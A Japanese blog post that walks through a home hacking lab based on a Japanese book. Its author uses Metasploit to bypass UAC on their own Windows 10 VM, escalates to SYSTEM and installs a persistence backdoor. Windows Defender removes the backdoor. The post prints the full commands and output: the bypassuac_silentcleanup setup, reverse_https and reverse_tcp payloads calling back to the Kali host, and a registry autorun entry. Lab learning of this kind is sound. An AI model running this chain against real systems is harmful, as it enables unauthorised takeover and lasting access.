Windows 10 にバックドアを設置し自動でセッションを確立

Windows 10

前回の記事では、Windows 10 側でのペイロード実行によるセッションの確立を行いました。
今回は、Windows 10 にバックドアを設置し、ペイロードを手動で実行せずとも自動的にKaliとのセッションを確立させるようにしたいと思います。
が、結論から言うとバックドアの設置はできませんでした。詳細は以降をご覧ください。

SYSTEM権限への昇格(失敗)

Windows 7 で散々やってきた SYSTEM 権限への昇格を、Windows 10 でもやっていきます。

まずは、セッションが確立されてすぐの状態の権限を確認します。

meterpreter > getuid
Server username: DESKTOP-SGLRMF3\kdryo

getuid を実行するとわかりますが、SYSTEM権限ではありません。
SYSTEM権限だと、以下が出力されます。
Server username: NT AUTHORITY\ SYSTEM

そのため、getsystem コマンドを実行し、SYSTEM権限に昇格させます。

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
meterpreter >

Windows 7 と同様に、UAC 機能によりコマンドが完了されません。
UAC 機能をバイパスさせます。

UAC 機能のバイパス

UAC 機能をバイパスさせるモジュールを検索します。

msf5 exploit(multi/handler) > search bypassuac

Matching Modules
================

   #   Name                                                   Disclosure Date  Rank       Check  Description
   -   ----                                                   ---------------  ----       -----  -----------

   ~中略~

   8   exploit/windows/local/bypassuac_silentcleanup          2019-02-24       excellent  No     Windows Escalate UAC Protection Bypass (Via SilentCleanup)
   9   exploit/windows/local/bypassuac_sluihijack             2018-01-15       excellent  Yes    Windows UAC Protection Bypass (Via Slui File Handler Hijack)

Rankが「excellent」で、かつ日時が新しいものを探します。
「ハッキングラボのつくりかた」では、9番を使用していましたが、ここでは日時が新しい8番のモジュールを使用します。

msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_silentcleanup
msf5 exploit(windows/local/bypassuac_silentcleanup) >

その上で、既に確立されたセッションで使用したペイロード、Kali のIPアドレス、セッションID を設定します。

msf5 exploit(windows/local/bypassuac_silentcleanup) > set payload windows/x64/meterpreter/reverse_https 
payload => windows/x64/meterpreter/reverse_https
msf5 exploit(windows/local/bypassuac_silentcleanup) > set lhost 10.0.0.2
lhost => 10.0.0.2
msf5 exploit(windows/local/bypassuac_silentcleanup) > set SESSION 10
SESSION => 10

設定後 exploit を実行し、meterpreter プロンプトが返ってくれば成功です。

msf5 exploit(windows/local/bypassuac_silentcleanup) > exploit

[*] Started HTTPS reverse handler on https://10.0.0.2:4444
[+] Part of Administrators group! Continuing...
[*] https://10.0.0.2:4444 handling request from 10.0.0.103; (UUID: wvz2tmlk) Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 11 opened (10.0.0.2:4444 -> 10.0.0.103:49888) at 2020-03-12 11:49:51 -0400

meterpreter >

SYSTEM権限の昇格(成功)

再度 getsystem コマンドを実行します。

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > 
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >

SYSTEM権限に昇格しました。
この状態で、Windows 7同様 「run persistence 」コマンドによりバックドアを設置します。

run persistence の実行

以下コマンドを実行します。
run persistence -X -i 60 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 10.0.0.2

※コマンドやオプションの意味は、以下記事で説明しているので、そちらをご参照ください。

meterpreter > run persistence -X -i 60 -P windows/x64/meterpreter/reverse_tcp -p 4444 -r 10.0.0.2

[!] Meterpreter scripts are deprecated. Try exploit/windows/local/persistence.
[!] Example: run exploit/windows/local/persistence OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /root/.msf4/logs/persistence/DESKTOP-SGLRMF3_20200312.2209/DESKTOP-SGLRMF3_20200312.2209.rc
[*] Creating Payload=windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.2 LPORT=4444
[*] Persistent agent script is 10822 bytes long
[+] Persistent Script written to C:\Users\kdryo\AppData\Local\Temp\SWqBzO.vbs
[*] Executing script C:\Users\kdryo\AppData\Local\Temp\SWqBzO.vbs
[+] Agent executed with PID 4968
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\eyLNUplYdkVoDMh
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\eyLNUplYdkVoDMh
meterpreter 

以上でバックドアの設置は完了です。

起動時のセッション確認

Windows 10 を起動した際に、自動でセッションが確立されるか確認します。
まず、Windows 10 をシャットダウンすると、以下のようにセッションが切断されることが Kali 側でわかります。

meterpreter > [*] 10.0.0.103 - Meterpreter session 10 closed.  Reason: Died

Windows 10 を起動すると、以下エラーが表示されました。

またしてもWindows Defender に止められてしまっているようで、履歴を見ても以下の通り対処されてしまっているようです。

リアルタイム保護をオフにしてみましたが、既に削除されてしまっているのかセッションは自動では確立されませんでした。

Windows 7と同様のやり方では Windows 10 にバックドアを設置することはできませんでした。
「ハッキングラボのつくりかた」にもバックドアの設置については書かれていないので、一旦は先に進めようと思います。

Windows 7が脆弱であるということを改めて理解することができました。

くどり

この記事は「ハッキング・ラボのつくりかた 第4章 」をベースに作成しています。購入リンクは以下です。
※Amazonアソシエイトを使用しています。

コメント

タイトルとURLをコピーしました